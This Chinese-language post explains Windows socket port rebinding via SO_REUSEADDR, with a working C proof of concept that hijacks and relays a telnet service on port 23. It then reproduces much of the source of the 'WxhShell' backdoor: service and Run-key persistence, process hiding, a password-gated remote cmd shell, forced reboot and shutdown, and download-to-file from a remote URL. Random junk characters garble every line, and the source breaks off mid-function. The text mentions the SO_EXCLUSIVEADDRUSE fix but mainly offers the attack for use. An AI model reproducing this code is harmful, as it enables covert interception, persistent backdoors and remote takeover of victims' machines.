在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=xoTH3/,> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
zdCt#=QV?R :Kiu*&{ saddr.sin_family = AF_INET;
&kvVMnok h 8s*FI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
u2QJDLMJv h%%'{^>~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
D#0}/ xXZN<<f59 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X*KT=q^?n Sgj6tH2M 这意味着什么?意味着可以进行如下的攻击:
}_ E Q"O _h 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
A\`Uu& G1rgp>m 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
dkjL;1 B_>
Fd& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
}R^{<{KVJ {`VQL 6(i
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
h.nz kp5 /NZR| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
I8y\D, bPNsy@"6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
a'BBp6 V6Y!0,w!a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
d9s"y?8 Y%3j>_\; #include
<d4^gAfs* #include
*d(Dk*( #include
ScEM#9T | #include
rgr> ;
DWORD WINAPI ClientThread(LPVOID lpParam);
Wxjpe4 int main()
rlD@O~P4 {
Ch3##- WORD wVersionRequested;
;I>`!|mT DWORD ret;
+xMDm_TGLA WSADATA wsaData;
RaAq>B
WPr BOOL val;
4"{q|~&=:$ SOCKADDR_IN saddr;
JmkJ^-A 6 SOCKADDR_IN scaddr;
D+OkD-8q int err;
gIeo7>u SOCKET s;
]l`DR4
= SOCKET sc;
2bqwnRT} int caddsize;
VrpYBU HANDLE mt;
{PZe!EQ DWORD tid;
3iB8QO;pp wVersionRequested = MAKEWORD( 2, 2 );
NJ.kT uk err = WSAStartup( wVersionRequested, &wsaData );
<T['J]k% if ( err != 0 ) {
Ks4TBi&J printf("error!WSAStartup failed!\n");
m35G; return -1;
ZP1EO Z }
V%))%?3x_ saddr.sin_family = AF_INET;
@B+];lr/- rVLA"x 9u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/Mv'fich(
m{~r6@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YV+e];s saddr.sin_port = htons(23);
>QYxX<W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@I%m}>4Jm {
@_;6L printf("error!socket failed!\n");
uaiG(O return -1;
fYwumx`J }
pcE.
val = TRUE;
;kY=}=9 //SO_REUSEADDR选项就是可以实现端口重绑定的
7{6wNc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5QlJX {
grZN.zTO printf("error!setsockopt failed!\n");
)[A}h'J) return -1;
+ EM '- }
7Ev~yY;N //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
jk~<si //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
M:ttzsd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
sviGS&J9h kY|<1Ht if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{2!.3<# {
Rcu/ @j{O ret=GetLastError();
T+I|2HYqOj printf("error!bind failed!\n");
N7|ctO return -1;
MD%86m{Sg= }
56fcifXz@ listen(s,2);
Xs4`bbap while(1)
-50|r;a {
.69{GM? caddsize = sizeof(scaddr);
by-B).7 //接受连接请求
b( wiJ&t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,$*$w< if(sc!=INVALID_SOCKET)
5'X.Z: {
rKO[;]_* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ur;8uv2o if(mt==NULL)
(u *-( {
$ #CkI09 printf("Thread Creat Failed!\n");
w!61k \ break;
/MA4Er r }
.2`S07Z }
g1Aq;Ah / CloseHandle(mt);
`Do-!G+W }
-q[?,h closesocket(s);
J
9z\ qTI WSACleanup();
0 ~VniF^ return 0;
^*Sb)tu\ W }
0 j6/H?OT DWORD WINAPI ClientThread(LPVOID lpParam)
"/K44(^ {
zT.qNtU% SOCKET ss = (SOCKET)lpParam;
nM@S`" SOCKET sc;
v=!]t=P)t unsigned char buf[4096];
`Dj-(~x SOCKADDR_IN saddr;
K?) &8S long num;
@X|Cu bJ DWORD val;
E;k'bz DWORD ret;
%|UCs8EFm //如果是隐藏端口应用的话,可以在此处加一些判断
leiP/D6s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0C7x1: saddr.sin_family = AF_INET;
G"wy? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8dP^zjPj saddr.sin_port = htons(23);
yKi* 8N"e< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^dQ#\uy {
XJGOX
n$/ printf("error!socket failed!\n");
7Y:1ji0l return -1;
oTZNW }
JBp^@j{_ val = 100;
/.P*%'g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k\A8Z[ {
sk9*3d5I ret = GetLastError();
LEG
y1L return -1;
Ve<l7U; }
fVw+8 [d0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
phd,Jg[ {
fs\l*nBig ret = GetLastError();
g$~ktr+% return -1;
Nw8lg*t" }
=j6f/8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Dr&2qX! {
c5pF?kFaD printf("error!socket connect failed!\n");
&0~E+
9b closesocket(sc);
8e x{N3 closesocket(ss);
Hr:WE+' return -1;
LNtBYdB`pK }
iCnKQG while(1)
,@Xl? {
p1q"[)WVn^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Bi9 S1p //如果是嗅探内容的话,可以再此处进行内容分析和记录
,..&j+m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
a?_N8|k[ num = recv(ss,buf,4096,0);
6|L<?
X if(num>0)
>2TDYB|; send(sc,buf,num,0);
^ 14U]< else if(num==0)
o/
ozX4C break;
,!Gw40t num = recv(sc,buf,4096,0);
abp]qvCV if(num>0)
CtfI&rb[ send(ss,buf,num,0);
#3leMZ6 else if(num==0)
Z+x,Awq break;
o[X'We; }
2eK!<Gj closesocket(ss);
z1K@AaRx closesocket(sc);
f%;8]a9 return 0 ;
unKi)v1 }
u,I_p[`E 0"#'Z>" 4cDjf~n ==========================================================
qS:hv&~ -W<x|ph
U 下边附上一个代码,,WXhSHELL
Y xp.` QX-%<@ ==========================================================
?#da4W {1Z8cV #include "stdafx.h"
Dyyf%'\M Wxx?iW , #include <stdio.h>
{26/SY #include <string.h>
j#hFx+S #include <windows.h>
gMS-mkZ #include <winsock2.h>
3 -Nwg9U #include <winsvc.h>
Gm~jC < #include <urlmon.h>
ErnjIx: ;EDc1: #pragma comment (lib, "Ws2_32.lib")
kZ~ 0fw- #pragma comment (lib, "urlmon.lib")
<b!nI
N qbrY5;U #define MAX_USER 100 // 最大客户端连接数
5)bf$?d #define BUF_SOCK 200 // sock buffer
ZCVwQ#Xe+ #define KEY_BUFF 255 // 输入 buffer
)RG@D\t , 0]p!
Bscaf #define REBOOT 0 // 重启
46OYOa #define SHUTDOWN 1 // 关机
I?r7dQEm r)E9]"TAB #define DEF_PORT 5000 // 监听端口
e=e^;K4 O/
Yz6VQ #define REG_LEN 16 // 注册表键长度
^E{M[;sF3y #define SVC_LEN 80 // NT服务名长度
bk^W]<:z` LX;w~fRr. // 从dll定义API
5n{J}0C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3D|Y4OM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
BWRAz*V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:Yeo*v9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
RvrZtg5 O|wu;1pQ // wxhshell配置信息
)IQ5Qu struct WSCFG {
bS7rG$n [ int ws_port; // 监听端口
S5'ZKk char ws_passstr[REG_LEN]; // 口令
^C$Oht,cU int ws_autoins; // 安装标记, 1=yes 0=no
}81eef4$S char ws_regname[REG_LEN]; // 注册表键名
wiHGTaR char ws_svcname[REG_LEN]; // 服务名
>v--R8I * char ws_svcdisp[SVC_LEN]; // 服务显示名
$v5)d J char ws_svcdesc[SVC_LEN]; // 服务描述信息
#y;TSHx/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
j=c=Pe"?u int ws_downexe; // 下载执行标记, 1=yes 0=no
7m='-_w)?w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
r?Q`b2Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=ie8{j2: Lxz!>JO> };
c$fi3O cC@.& // default Wxhshell configuration
D#"BY;
J struct WSCFG wscfg={DEF_PORT,
YNHQbsZUI, "xuhuanlingzhe",
dZ^(e0& :H 1,
_7e ^
t N "Wxhshell",
ye?4^@u u "Wxhshell",
S\wh
*'Y "WxhShell Service",
ygI81\D "Wrsky Windows CmdShell Service",
t3LRmjL "Please Input Your Password: ",
H[oCI|k 1,
"MS}@NLUW "
http://www.wrsky.com/wxhshell.exe",
y-C=_v_X "Wxhshell.exe"
$U. >]i };
9rD6."G 3X|7 R // 消息定义模块
j:k}6]p} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5~8FZ-x char *msg_ws_prompt="\n\r? for help\n\r#>";
<=O/_Iu( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
sVzU> char *msg_ws_ext="\n\rExit.";
MX*T.TG8 char *msg_ws_end="\n\rQuit.";
0'm$hU} char *msg_ws_boot="\n\rReboot...";
o}^/Km+t char *msg_ws_poff="\n\rShutdown...";
@bfW-\ I char *msg_ws_down="\n\rSave to ";
Jr2x`^aNO (_2Iu%F char *msg_ws_err="\n\rErr!";
+`jI z'+ char *msg_ws_ok="\n\rOK!";
ahJ-T@ TTGk"2
Q' char ExeFile[MAX_PATH];
"Sx}7?8AB int nUser = 0;
WC0gJy HANDLE handles[MAX_USER];
]\TYVv) int OsIsNt;
KH=4A-e,0 hKx*V"7/#\ SERVICE_STATUS serviceStatus;
_.}1 Y,Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
:2v^pg| c
qWX*&2_ // 函数声明
'>"riEk int Install(void);
mHj3ItXUu int Uninstall(void);
6(M^`&fl int DownloadFile(char *sURL, SOCKET wsh);
;7/
;4Z int Boot(int flag);
Wnf3[fV6P void HideProc(void);
gC/~@Z8W] int GetOsVer(void);
S2APqRg* int Wxhshell(SOCKET wsl);
[nYm-\M void TalkWithClient(void *cs);
2D'b7zPJ3 int CmdShell(SOCKET sock);
/Ko{S_3<I int StartFromService(void);
H8lh.K int StartWxhshell(LPSTR lpCmdLine);
T{A5,85 27"M]17) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@Yzdq\FI VOID WINAPI NTServiceHandler( DWORD fdwControl );
>0XB7sC U-]Rm}X\M // 数据结构和表定义
9sQ#v-+Yx SERVICE_TABLE_ENTRY DispatchTable[] =
E:7R>.g {
mQ$a^28=qR {wscfg.ws_svcname, NTServiceMain},
EdC^L`:: {NULL, NULL}
Jm#mC };
}Cs.Hm0P r}>q*yx: // 自我安装
Tr\6AN?o int Install(void)
BdMmeM2h {
V
eD<1< char svExeFile[MAX_PATH];
'c[|\M!u HKEY key;
#E'aa'P} strcpy(svExeFile,ExeFile);
@3aI7U/I NP+*L|-; // 如果是win9x系统,修改注册表设为自启动
<i1.W!% if(!OsIsNt) {
M= ]]kJ:I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M"W~%
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$E >) RegCloseKey(key);
Uo<iZ3J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
DQ08dP((v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0m& RegCloseKey(key);
|Q|vCWel{ return 0;
h=x{
3P;B }
TXH9BlDn }
g %e"K nU }
Lh_Q@>k else {
Qnr7Qnb VX'cFqrK3 // 如果是NT以上系统,安装为系统服务
NA/hs/ ' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;$FpxurX if (schSCManager!=0)
hQFF%xl {
N!=$6`d SC_HANDLE schService = CreateService
ZC!GKWP2 (
o6b\
w schSCManager,
f3E%0cg wscfg.ws_svcname,
}#bX{?f wscfg.ws_svcdisp,
H)5V \ SERVICE_ALL_ACCESS,
MJ%gF=$X SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{>]7xTpwZ SERVICE_AUTO_START,
Qzh`x-S SERVICE_ERROR_NORMAL,
;ND)h pD+ svExeFile,
w(6(Fze NULL,
)=9EShz! NULL,
zZh\e,* NULL,
C)H1<Br7 NULL,
+\D?H.P NULL
"Vw;y+F} );
BIK^<_?+ZU if (schService!=0)
;zpSyyp@ {
13f@Ox$ CloseServiceHandle(schService);
iC`mj CloseServiceHandle(schSCManager);
J;R1OJs S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
'*d);{D8 strcat(svExeFile,wscfg.ws_svcname);
RIg
`F#,3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
:}n\
r/i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
97L|IZ s) RegCloseKey(key);
O9/7?"l" return 0;
Pkq?tm$# }
,x]xtg? }
wMx#dP4W8 CloseServiceHandle(schSCManager);
2c u?2_, }
H}f}Y8J{ }
i|/EA7 N5%Cwl6i return 1;
Z{p)rscX }
?E2$ F?jFFwim // 自我卸载
QVq+';cG int Uninstall(void)
c&]nAn( {
}z|@X KA# HKEY key;
EZw<)Q [(d))(M$| if(!OsIsNt) {
PSR21; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B{dR/q3;@ RegDeleteValue(key,wscfg.ws_regname);
fEgwQ-] RegCloseKey(key);
c:OFBVZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cZFG~n/ RegDeleteValue(key,wscfg.ws_regname);
s<hl>vY_' RegCloseKey(key);
=VFPZ return 0;
] l@Mo7|w }
'G|M_ e }
)^q7s&p/ }
!7fL' else {
GyP.;$NHa[ =,HxtPJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
mDB?;a> if (schSCManager!=0)
:Y\!~J3W {
NW
AT" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
L^b /+R# if (schService!=0)
R32A2Ml {
KN\*|) if(DeleteService(schService)!=0) {
NJqjW CloseServiceHandle(schService);
!\(j[d# CloseServiceHandle(schSCManager);
%7vjYvo> return 0;
f?[0I\V[$ }
J6s@}@R1 CloseServiceHandle(schService);
ZPO+ #, }
wx]r{ CloseServiceHandle(schSCManager);
[.[|rnil }
-,Y[`(q }
f?P>P23 \]7i-[ return 1;
3Gyw^_{J }
KbicP< ,%!E-gr // 从指定url下载文件
,fR /C int DownloadFile(char *sURL, SOCKET wsh)
n5e1ky*9w {
t7; ^rk* HRESULT hr;
uNoP8U%* char seps[]= "/";
!YZ$WiPl char *token;
R{3vPG char *file;
6{8dv9tK char myURL[MAX_PATH];
%X^K5Io char myFILE[MAX_PATH];
TTQ(\l4 rV[/G#V>{ strcpy(myURL,sURL);
eX0ASI9 token=strtok(myURL,seps);
1v2pPUH\ while(token!=NULL)
zc4l{+3 {
6%Ws>H4@| file=token;
"%[a Wb token=strtok(NULL,seps);
|u5Xi5q.f }
T x
6\ M%S.Z4D
(0 GetCurrentDirectory(MAX_PATH,myFILE);
|Js?@ strcat(myFILE, "\\");
"gQA|NHwV strcat(myFILE, file);
C#3K.0a send(wsh,myFILE,strlen(myFILE),0);
T:?01?m send(wsh,"...",3,0);
FM=-^l, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Ce~
a(J|" if(hr==S_OK)
0[QVU,]< return 0;
=E~)svl6g else
tg|7\Z7i return 1;
hY5tBL ,2*x4Gycb }
z!>
H^v @Y| % // 系统电源模块
RX6s[uQ int Boot(int flag)
FKpyD {
WJJwhr HANDLE hToken;
L2P#5B!S TOKEN_PRIVILEGES tkp;
=T3O; i ?x-:JME0 if(OsIsNt) {
!%,k]m' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Fmo^ ?~b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9u%S<F" tkp.PrivilegeCount = 1;
eJ2$DgB}t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Pko2fJt1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
J*}Qnl + if(flag==REBOOT) {
azT@S=, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
s ;N PY return 0;
W{js9$oJ }
Z.x9SEe1t else {
@Z{!T)#}j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
o%1dbbh return 0;
q(iM=IeiN }
]%I}hjJ }
Oqy&V&-C else {
eABLBsx if(flag==REBOOT) {
^}\!Sn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'"~ 2xiin return 0;
U|!L{+F }
4qe!+!#$ else {
\&Bvh4Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
stcbM return 0;
d|Q_Z@;JF }
530Z>q }
H}}g\|r& %"{jNC? return 1;
[t.x cO }
?Gr2@,jlD 6Q}WX[| tQ // win9x进程隐藏模块
k6|wiSyu void HideProc(void)
= U)e_q {
5$;#=WAY NJ ];Ck HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
8/oO}SLF if ( hKernel != NULL )
l:?w{'i$ {
gxf{/EjH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
%V2A}78 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+D&aE$< FreeLibrary(hKernel);
[\ALT8vC?m }
E%tGwbi7 (I7s[ return;
p#DJow }
,4`=gKn IJz=SV // 获取操作系统版本
6OOdVS3\J int GetOsVer(void)
XA4miQn& {
CUG3C OSVERSIONINFO winfo;
-w#*~Q{'* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
$Lx2!Zy GetVersionEx(&winfo);
Bk)*Z/1<x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[<H'JsJl return 1;
|^! else
GR ^d/ return 0;
\cKY{(E }
wr+r J "S ~(|G // 客户端句柄模块
f:_mr zz int Wxhshell(SOCKET wsl)
!\RBOdw C {
u:[vqlU SOCKET wsh;
$T%~t@Cv1 struct sockaddr_in client;
`eXTVi|0"~ DWORD myID;
&Bfgvws; +*AdSzX while(nUser<MAX_USER)
.W/#$s|X\ {
N# ?}r>W3 int nSize=sizeof(client);
.{}=!>U2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
h:qt?$]J if(wsh==INVALID_SOCKET) return 1;
ytkV"^1^ dd&n>A3O= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
G+dQ" cI9 if(handles[nUser]==0)
b IZuZF>* closesocket(wsh);
L2GUrf else
ln~;Osb nUser++;
M}cgVMW }
5:r*em WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A\IQM^i g$P <`. return 0;
<!m'xOD }
E]<Ce;Vj l%^VBv>
2 // 关闭 socket
0[SJ7k19 void CloseIt(SOCKET wsh)
S.Rqu+ {
S(nZ]QEG closesocket(wsh);
+?I1Og nUser--;
{ t1|6R0 ExitThread(0);
dY6A)[dAH' }
^S]-7>Yyr S>y(3E]I // 客户端请求句柄
#x^dR-@ void TalkWithClient(void *cs)
Cvk n2T {
6~#$bp^- gqCDF H SOCKET wsh=(SOCKET)cs;
czH`a=mjH char pwd[SVC_LEN];
&Ub0o2+y char cmd[KEY_BUFF];
Nd] w I|> char chr[1];
}/cMG/% int i,j;
~lSdWUk> uOU?-WtPz while (nUser < MAX_USER) {
WhY8#B'? )4@La& if(wscfg.ws_passstr) {
|4lrVYG^K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V <;vy&& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H)u<$y!8 //ZeroMemory(pwd,KEY_BUFF);
Frxim i=0;
A3jT;D9Y% while(i<SVC_LEN) {
BEfp3|Stb .NOh[68' // 设置超时
kl&9M!;:n fd_set FdRead;
<ic%c/mN struct timeval TimeOut;
Gs7#W:e7 FD_ZERO(&FdRead);
Ivdg1X FD_SET(wsh,&FdRead);
%8N=4vTJ TimeOut.tv_sec=8;
_Vj uQ TimeOut.tv_usec=0;
|}YeQl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2wKW17wj, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=Y;w O8 6L\?+=X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/ZcqKC
pwd
=chr[0]; :% o32
if(chr[0]==0xd || chr[0]==0xa) { `_*NFv1_
pwd=0; 6gSo>F4=
break; gr%!<2w
} 0
jszZ_
i++; \KpSYX1
} Vu
u2SS
LBs:O*;
// 如果是非法用户,关闭 socket afJ`1l
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rElbzL"&<
} @mbR I0
2:>|zmh_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NE'4atQ|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B"9 /+Yj
5qx,b&^w
while(1) { AnUOv2
Z\@m_/g
ZeroMemory(cmd,KEY_BUFF); I,pI2
r'C(+E (
// 自动支持客户端 telnet标准 |i-d#x8
j=0; '&<T;V%
while(j<KEY_BUFF) { !4ZszQg
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |x[zzx#
>-
cmd[j]=chr[0]; 5m e|dvk
if(chr[0]==0xa || chr[0]==0xd) { 4jyDM68i
cmd[j]=0; Le*sLuxk<
break; l-GQ AI8
} @aX$}
j++; ~SWR|[
} ^I4/{,Ev
P<1ZpL
// 下载文件 }/{G
if(strstr(cmd,"http://")) { BRu/pyxG
send(wsh,msg_ws_down,strlen(msg_ws_down),0); mF|7:zSo
if(DownloadFile(cmd,wsh)) [`u3SN/P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^{vf|zZ _
else /<\B8^yQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tCw.wDq3=
} Tn'_{@E;
else { Gxj3/&]^Y
$G_,$U!
switch(cmd[0]) { HalkNR-eEm
_ zh>q4M
// 帮助 .%iJin"
case '?': { ~qk5Mk4$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~gjREl,+D#
break; H /kSFf{
} +Je(]b@
// 安装 &;D(VdSr9
case 'i': { @ n-[bN
if(Install()) W)0y+H\%
r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kDrqV{_
else m^O9G?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n<. T6
break; quvdm68
} h kh b8zS
// 卸载 JMnk~8O
case 'r': { %Q0J$eC
if(Uninstall()) )Apg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yLo{^4a.
else ##6_kcL:6G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R-8/BTls7
break; le*1L8n$'
} s /?&H-
// 显示 wxhshell 所在路径 cP4K9:k
case 'p': { k>N >_{\
char svExeFile[MAX_PATH]; Pd,+=
ML
strcpy(svExeFile,"\n\r"); eTV%+
strcat(svExeFile,ExeFile); cvf@B_iN9
send(wsh,svExeFile,strlen(svExeFile),0); YRkp(}*!\
break; $SP*hkU
} jf_0IE
// 重启 e2SU)Tr%b
case 'b': { |+ ^-b}0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Z|uLXaz
if(Boot(REBOOT)) xKKR'v:o\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T%%+v#+
else { E>BP b
closesocket(wsh);
qrFC4\q}
ExitThread(0); b :Knc$
} $7#N@7
break; Bhy:"
r%#
} a!;]9}u7
// 关机 @Gs*y1
case 'd': { 78s:~|WB<{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d" "GG/
if(Boot(SHUTDOWN)) IQZBH2R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zl0Kv*S
else { nbnbG0r:
closesocket(wsh); o4)^U t+
ExitThread(0); &IQp&
} $uA?c&
e
break; )-_NtMr~`!
} :y?xS
// 获取shell _L6WbRu|
case 's': { M NE{mV(
CmdShell(wsh); T:$zNX<f
closesocket(wsh); *3yeMxa
ExitThread(0); Yfk){1
break; 5$r`e+Nf'
} kKFSCl/g
// 退出 +DWmutL
case 'x': { B%v2)+?@
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .b4_O
CGg
CloseIt(wsh); 9.KOrg5}L
break; [e2sUO0~r
} ;CU<\
// 离开 *0 ;DCUv
case 'q': { x*H4o{o0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \haJe~
closesocket(wsh); $c-h'o
WSACleanup(); &S}i)Nu6J
exit(1); TzXivE@mm
break; [<)/
c>Y
} )`RF2Y-A7
} `"0#lZ`n
} C+r<DC3
&^ sgR$m
// 提示信息 >K{/ Jx&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +Xi#y}%
} a pxZ}
} zMfr`&%e
H61,pr>
return; <a-I-~
} XE_|H1&j
w][1C\8m
// shell模块句柄 +Y!9)~f}7X
int CmdShell(SOCKET sock) 7$(>Z^ Em
{ ,}!OJyT
STARTUPINFO si; SRl:+!@.
ZeroMemory(&si,sizeof(si)); |-N\?N9"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &zsaVm8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K2T&U$,
PROCESS_INFORMATION ProcessInfo; *p;Fwj]
char cmdline[]="cmd"; 1}e1:m]r
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XqVhC):
return 0; 6i/x"vl>
} aOq>Ra{T
.+<Ul]e/
// 自身启动模式 T}(J`{9i
int StartFromService(void) .6%-Il
{ =,0E]MZ
typedef struct 7|6uY
{ !>B|z=
DWORD ExitStatus; ,?GEL>F
DWORD PebBaseAddress; {g?$u
DWORD AffinityMask; _B`'1tNx
DWORD BasePriority; 5;+OpB
